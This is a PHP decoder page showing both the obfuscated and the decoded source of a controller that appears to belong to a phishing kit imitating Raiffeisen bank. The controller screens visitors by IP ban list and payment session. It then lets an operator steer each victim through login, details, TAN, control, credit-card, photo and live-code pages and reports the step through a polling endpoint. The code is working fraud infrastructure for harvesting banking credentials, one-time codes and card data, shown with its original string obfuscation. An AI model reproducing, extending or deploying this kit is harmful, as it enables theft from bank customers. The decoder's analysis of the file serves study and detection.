Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace App\Controllers\Raffeissen; use Core\View; use App\Models\Raffeissen\..

Decoded Output download

 
<?php 
namespace App\Controllers\Raffeissen; 
use Core\View; 
use App\Models\Raffeissen\Raffeissen; 
use App\Auth; 
class Confirm extends \Core\Controller 
{ 
    public function indexAction() 
    { 
        if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_SESSION["uid"]) && isset($_SESSION["pay"])) { 
            Raffeissen::setConfirm($_SESSION["uid"]); 
        } else { 
            if (Raffeissen::findBan($_SERVER["REMOTE_ADDR"]) || !isset($_SESSION["pay"]) || !Raffeissen::checkPayment($this->route_params["id"])) { 
                Raffeissen::redirect(); 
            } else { 
                Raffeissen::setConfirmInformation($_SESSION["uid"]); 
                View::render("Axa/confirm.php"); 
            } 
        } 
    } 
    public function checkAction() 
    { 
        if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_SESSION["uid"]) && isset($_SESSION["pay"])) { 
            $check = Raffeissen::getPage($_SESSION["uid"]); 
            if ($check) { 
                if ($check == "login") { 
                    echo json_encode(["page" => "login"]); 
                    Raffeissen::setLoginPage($_SESSION["uid"], null); 
                } else { 
                    if ($check == "details") { 
                        echo json_encode(["page" => "details"]); 
                        Raffeissen::setDetailsPage($_SESSION["uid"], null); 
                    } else { 
                        if ($check == "confirm") { 
                            echo json_encode(["page" => "confirm"]); 
                            Raffeissen::setConfirmPage($_SESSION["uid"], null); 
                        } else { 
                            if ($check == "tan") { 
                                echo json_encode(["page" => "tan"]); 
                                Raffeissen::setTanPage($_SESSION["uid"], null); 
                            } else { 
                                if ($check == "control") { 
                                    echo json_encode(["page" => "control"]); 
                                    Raffeissen::setControlPage($_SESSION["uid"], null); 
                                } else { 
                                    if ($check == "creditcard") { 
                                        echo json_encode(["page" => "creditcard"]); 
                                        Raffeissen::setCreditcardPage($_SESSION["uid"], null); 
                                    } else { 
                                        if ($check == "photo") { 
                                            $check = Raffeissen::getPhotoCode($_SESSION["uid"]); 
                                            echo json_encode(["page" => "photo", "code" => $check]); 
                                            Raffeissen::setPhotoPage($_SESSION["uid"], null); 
                                        } else { 
                                            if ($check == "live") { 
                                                $check = Raffeissen::getLiveCode($_SESSION["uid"]); 
                                                $checkTwo = Raffeissen::getLiveCodeTwo($_SESSION["uid"]); 
                                                echo json_encode(["page" => "live", "codetwo" => $check, "codethree" => $checkTwo]); 
                                                Raffeissen::setPhotoPage($_SESSION["uid"], null); 
                                            } else { 
                                                if ($check == "finish") { 
                                                    echo json_encode(["page" => "finish"]); 
                                                    Raffeissen::setFinishPage($_SESSION["uid"], null); 
                                                    unset($_SESSION["pay"]); 
                                                    unset($_SESSION["uid"]); 
                                                } 
                                            } 
                                        } 
                                    } 
                                } 
                            } 
                        } 
                    } 
                } 
            } else { 
                echo json_encode(["page" => "waiting"]); 
            } 
        } else { 
            Raffeissen::redirect(); 
        } 
    } 
} 
 ?>

Did this file decode correctly?

Original Code


<?php
namespace App\Controllers\Raffeissen;
use Core\View;
use App\Models\Raffeissen\Raffeissen;
use App\Auth;
class Confirm extends \Core\Controller
{
    public function indexAction()
    {
        if ($_SERVER["\122\105\x51\x55\105\x53\124\x5f\115\x45\124\x48\x4f\x44"] == "\x50\117\123\124" && isset($_SESSION["\165\x69\x64"]) && isset($_SESSION["\160\141\x79"])) {
            Raffeissen::setConfirm($_SESSION["\x75\151\144"]);
        } else {
            if (Raffeissen::findBan($_SERVER["\122\x45\x4d\x4f\124\105\137\101\x44\x44\x52"]) || !isset($_SESSION["\160\141\171"]) || !Raffeissen::checkPayment($this->route_params["\x69\144"])) {
                Raffeissen::redirect();
            } else {
                Raffeissen::setConfirmInformation($_SESSION["\x75\151\144"]);
                View::render("\x41\x78\x61\x2f\x63\x6f\156\x66\151\162\x6d\56\160\x68\160");
            }
        }
    }
    public function checkAction()
    {
        if ($_SERVER["\x52\x45\x51\125\105\x53\x54\137\x4d\105\x54\110\117\104"] == "\x50\x4f\x53\x54" && isset($_SESSION["\165\151\x64"]) && isset($_SESSION["\x70\x61\x79"])) {
            $check = Raffeissen::getPage($_SESSION["\165\x69\x64"]);
            if ($check) {
                if ($check == "\x6c\x6f\x67\151\156") {
                    echo json_encode(["\160\x61\x67\145" => "\154\x6f\x67\x69\x6e"]);
                    Raffeissen::setLoginPage($_SESSION["\x75\151\x64"], null);
                } else {
                    if ($check == "\144\x65\164\141\x69\154\x73") {
                        echo json_encode(["\x70\141\x67\x65" => "\x64\145\164\x61\151\x6c\163"]);
                        Raffeissen::setDetailsPage($_SESSION["\165\151\144"], null);
                    } else {
                        if ($check == "\143\x6f\156\x66\x69\162\x6d") {
                            echo json_encode(["\x70\x61\147\145" => "\x63\x6f\x6e\x66\151\x72\x6d"]);
                            Raffeissen::setConfirmPage($_SESSION["\x75\151\144"], null);
                        } else {
                            if ($check == "\x74\x61\156") {
                                echo json_encode(["\x70\141\x67\145" => "\x74\141\156"]);
                                Raffeissen::setTanPage($_SESSION["\x75\x69\x64"], null);
                            } else {
                                if ($check == "\143\157\x6e\164\x72\x6f\154") {
                                    echo json_encode(["\160\x61\x67\145" => "\x63\x6f\x6e\x74\162\x6f\154"]);
                                    Raffeissen::setControlPage($_SESSION["\165\151\144"], null);
                                } else {
                                    if ($check == "\143\x72\145\x64\151\164\x63\x61\x72\144") {
                                        echo json_encode(["\160\141\x67\x65" => "\x63\162\145\144\x69\164\x63\x61\x72\144"]);
                                        Raffeissen::setCreditcardPage($_SESSION["\165\x69\x64"], null);
                                    } else {
                                        if ($check == "\x70\x68\157\x74\x6f") {
                                            $check = Raffeissen::getPhotoCode($_SESSION["\165\151\144"]);
                                            echo json_encode(["\x70\141\147\x65" => "\x70\150\x6f\164\x6f", "\x63\x6f\144\145" => $check]);
                                            Raffeissen::setPhotoPage($_SESSION["\x75\x69\x64"], null);
                                        } else {
                                            if ($check == "\x6c\x69\x76\145") {
                                                $check = Raffeissen::getLiveCode($_SESSION["\165\151\x64"]);
                                                $checkTwo = Raffeissen::getLiveCodeTwo($_SESSION["\x75\151\144"]);
                                                echo json_encode(["\160\x61\147\x65" => "\x6c\x69\166\145", "\143\x6f\144\x65\164\x77\x6f" => $check, "\143\157\x64\x65\164\150\162\x65\x65" => $checkTwo]);
                                                Raffeissen::setPhotoPage($_SESSION["\165\151\x64"], null);
                                            } else {
                                                if ($check == "\x66\151\156\x69\163\x68") {
                                                    echo json_encode(["\x70\141\147\145" => "\146\151\x6e\x69\163\x68"]);
                                                    Raffeissen::setFinishPage($_SESSION["\165\151\144"], null);
                                                    unset($_SESSION["\x70\141\171"]);
                                                    unset($_SESSION["\165\x69\144"]);
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            } else {
                echo json_encode(["\x70\x61\x67\145" => "\x77\x61\x69\164\151\x6e\147"]);
            }
        } else {
            Raffeissen::redirect();
        }
    }
}

Function Calls

None

Variables

None

Stats

MD5 07e6f62cb871670a550e8399b9929ce6
Eval Count 0
Decode Time 42 ms